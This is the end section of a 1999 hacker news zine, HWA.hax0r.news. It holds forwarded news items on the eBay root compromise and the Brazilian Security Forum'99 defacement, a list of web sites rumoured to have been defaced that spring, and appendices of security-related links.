Racist Propaganda (See issue #7) For the most part these sites are gleaned from the rumours section of HNN unless otherwise noted and are just that, unconfirmed rumours... Here's a couple I missed last issue/earlier issues; http://www.goodyear.com - via irc (unconf.) And; Date: Fri, 19 Mar 1999 13:19:36 -0700 (MST) From: mea culpa <jericho@dimensional.com> To: InfoSec News <isn@repsec.com> Subject: [ISN] Going once, going twice... HACKED! Message-ID: <Pine.SUN.3.96.990319131914.8313m-100000@flatland.dimensional.com> Sender: owner-isn@repsec.com Reply-To: mea culpa <jericho@dimensional.com> Going once, going twice... HACKED! By Adam L. Penenberg eBay, the hot one-to-one auction site, was hacked on Saturday by a 22-year old college student who goes by the handle MagicFX. But the story doesn't end there. The hacker maintains access to the site and can return at will. He has 'root' access to eBay's computers, the same kind the legitimate administrators enjoy. This means he could change prices or place fake ads, divert traffic to other sites or even take down the entire network. This was starkly illustrated to this reporter on Wednesday night, when the hacker, to prove his point, took down eBay's home page for two minutes and replaced it with the message: "by MagicFX "That you can't always trust people - not even huge companies. (who woulda known that?) "It's 9:30 PM do you know who has your credit card information?" (Check out the rest at http://www.forbes.com/tool/html/99/mar/0319/side1.htm) -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] To: InfoSec News <isn@repsec.com> Subject: [ISN] Subject: Brazilian Security Forum'99 is hacked Forwarded From: c0nd0r <root@sekure.org> [March 12, Sao Paulo, Brazil] The largest security meeting in the South America was hacked by brazilian group called "Brazilian r00ts". They took control the event's web site, which was located at http://www.mantel.com.br/eventos/security. The Security Forum'99 is the most important event on information security in the South America and its main purpose was discuss vulnerabilities and ways to defeat break-ins. One of the most important guests was Christopher Klaus from ISS, as well as people from Axent. The company responsible for the organization of the event, Mantel, was also hacked (www.mantel.com.br). -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com] March 24th From HNN rumours section; Kipling cracked contributed by cluebie I was really trying to ignore this whole mess. First a Belgium garment manufacturer makes extremely disparaging remarks about hackers on its web site. Then it looks like someone may have defaced their web page, then Leander Kahney of Wired Online writes a story about it all that totally screws up the words hacker and cracker. I am kind of surprised that the defaced page has still not been fixed 12 hours later. This whole mess just reeks of marketing. contributed by Anonymous http://www.cablevision.com.ve/ http://www.des-con-systems.com/ contributed by Anonymous Cracked/From HNN Rumours section March 22nd http://www.hackernews.com/ Looks like some people have been rather busy this weekend. This is just a few of the sites which where reported to us as being compromised. http://www.peoplescourt.com http://www.menura.com http://www.thetargetgroup.com http://www.asma-homehealth.com/ http://www.vasodeleche.com/ http://www.home-listings.com/ http://www.cddhcu.gob.mx/ http://www.servnet.com.mx http://www.hallpasstv.com http://www.tocca.com http://www.varsitysoft.com http://www.ashlin.com http://www.superstation.net http://www.bhicorp.com http://www.graydonamerica.com http://www.fusive.com http://www.esiglobal.com http://www.q-time.com http://www.colco.net http://www.frasersfur.com http://www.opf-jamaica.org http://www.webplaza.net From HNN rumours section, March 23rd: http://www.cortroninc.com @HWA _________________________________________________________________________ A.0 APPENDICES _________________________________________________________________________ A.1 PHACVW, sekurity, security, cyberwar links ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The links are no longer maintained in this file, there is now a links section on the http://welcome.to/HWA.hax0r.news/ url so check there for current links etc. The hack FAQ (The #hack/alt.2600 faq) http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html Hacker's Jargon File (The quote file) http://www.lysator.liu.se/hackdict/split2/main_index.html Featured site: http://www.real-secure.org/ ...... Interesting site check it out, nice layout, cool format, cool info. International links:(TBC) ~~~~~~~~~~~~~~~~~~~~~~~~~ Foreign correspondants and others please send in news site links that have security news from foreign countries for inclusion in this list thanks... - Ed Belgium.......: http://bewoner.dma.be/cum/ Brasil........: http://www.psynet.net/ka0z http://www.elementais.cjb.net Columbia......: http://www.cascabel.8m.com http://www.intrusos.cjb.net Indonesia.....: http://www.k-elektronik.org/index2.html http://members.xoom.com/neblonica/ http://hackerlink.or.id/ Netherlands...: http://security.pine.nl/ Russia........: http://www.tsu.ru/~eugene/ Singapore.....: http://www.icepoint.com Got a link for this section? email it to hwa@press.usmc.net and i'll review it and post it here if it merits it. @HWA -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- ⌐ 1998, 1999 (c) Cruciphux/HWA.hax0r.news (r) Cruciphux is a trade mark of Hoary Wild Arachnids Inc. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65] 
